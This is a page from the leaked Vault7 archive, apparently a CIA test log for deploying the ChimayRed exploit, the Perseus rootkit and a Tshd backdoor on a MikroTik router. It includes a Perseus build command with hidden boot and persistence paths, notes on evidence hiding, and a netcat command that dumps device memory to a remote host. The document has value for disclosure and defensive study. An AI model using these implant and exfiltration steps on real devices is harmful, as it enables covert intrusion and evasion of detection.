Vault7: CIA Hacking Tools Revealed
Navigation: » Latest version
Owner: User #14587667
DUT4 - RB1100XH - Notes
IP: 172.20.100.22/30
VLAN: 615 (TOR6 gi1/0/11)
ROS: 6.30.2, 6.26
Console Server Rack 6 Port 7
Tool Versions Used:
ChimayRed 4.6.1
TshPatcher 1.0.4
Perseus 1.1.0
Test Notes
7/27/2015
- Setup console server, CoreSwx VLANs, and TOR6 Swx access ports
- Create Ubuntu 14.10 Host VM
- Installed ROS 6.30.2
- Setup WANWide Area Network IP on MT: /ip address add address=172.20.100.22/30 interface=ether12
- Setup LANLocal Area Network IP on MT: /ip address add address=192.168.88.1/24 interface=ether13
- Generate Perseus binary: python bin/perseus_1.1.0.4_routeros6_powerpc.zip -f /flash/boot/hidden -f /flash/etc/rc.d/run.d/S99mcc -f /flash/etc/rc.d/run.d/S99tsh -d /flash/boot/hidden -p /flash/rw/tmp/tshd-powerpc -S /flash/boot/hidden/startup -s 2 -m /flash/boot/hidden/mcc.ko -r /flash/boot/hidden/dont_panic -z /flash/boot/hidden/zero deploy_$PERSEUS_DEPLOY_VER
- PERSEUS_DEPLOY_VER=2015-07-27
- Downgraded to ROS 6.30.1. ChimayRed does not support 6.30.2.
- Download BB for PPCPowerPC (IBM) and x86
- Throw ChimayRed, Tshd, BB, and Flux
7/28/2015
- Configure Syslog (/system logging action set 3 bsd-syslog=yes remote=192.168.88.2)
- Take baseline measurement:
- Downgraded to ROS 6.26
- When throwing ChimayRed, I was required to specify the architecture (-a ppc) because CR could not detect it and would error out.
- When Perseus is started, the hidden directory disappears and all evidence of Perseus, Tsh, and BB is gone. A test log file was sent to TP for analysis. This behavior occured on both ROS 6.30.2 and 6.26.
Operator Notes
- No default firewall to block port 80 (Web GUIGraphical User Interface) on ROS 6.30.2
Tests to Run:
mcc is visible
| ID | Status | Task |
|---|---|---|
| 1 | incomplete | lsmod | grep mcc # mcc will appear in list |
| 2 | incomplete | ls /lib/modules/3.3.5 #no mcc |
| 3 | incomplete | ls /ram/pckg #no mcc |
Inconsistent hiding
| ID | Status | Task |
|---|---|---|
| 4 | incomplete | ls /sys/module #mcc should be visible |
| 5 | incomplete | ls /sys/kernel # mcc should be hidden |
Check netstat for PID/Program name
| ID | Status | Task |
|---|---|---|
| 15 | incomplete | bb netstat -p |
Check if kallsyms shows 'mcc' and its symbols
| ID | Status | Task |
|---|---|---|
| 16 | incomplete | cat /proc/kallsyms | bb grep mcc |
Flux appears in firewall connections
| ID | Status | Task |
|---|---|---|
| 6 | incomplete | /ip firewall connection print |
Sequential listing of /proc/pid reveals hidden directories.
| ID | Status | Task |
|---|---|---|
| 7 | incomplete | Run following script |
#!/bin/ash
i=1
#echo "PIDs in /proc/" > proc_dirs
while [ $i -lt 1000 ];
do
test -d /proc/$i && echo $i >> proc_dirs
i=$((i+1));
done
bb ls -1v /proc > ls_dirs
bb grep -Fxv -f ls_dirs proc_dirs
Check if connection is attempted to cloud.mikrotik.com
| ID | Status | Task |
|---|---|---|
| 8 | incomplete | /system logging add action=echo topics=!ntp,!dhcp,!rip,!snmp |
Inspect Memory
| ID | Status | Task |
|---|---|---|
| 9 | incomplete | ICON: nc -l -p 9999 | dd bs=1048576 of=DUTX-ram.bin |
| 10 | incomplete | Target: busbybox dd if=/dev/mem bs=1048576 count=256 | bb nc 172.20.12.100 9999 |
| 11 | incomplete | Check for ELFs |
| 12 | incomplete | Check if call tables were modified |
| 13 | incomplete | Check mcc.ko for 'srcversion' string |
| 14 | incomplete | Remove perseus and re-inspect memory for mcc unload |
| 0 | incomplete |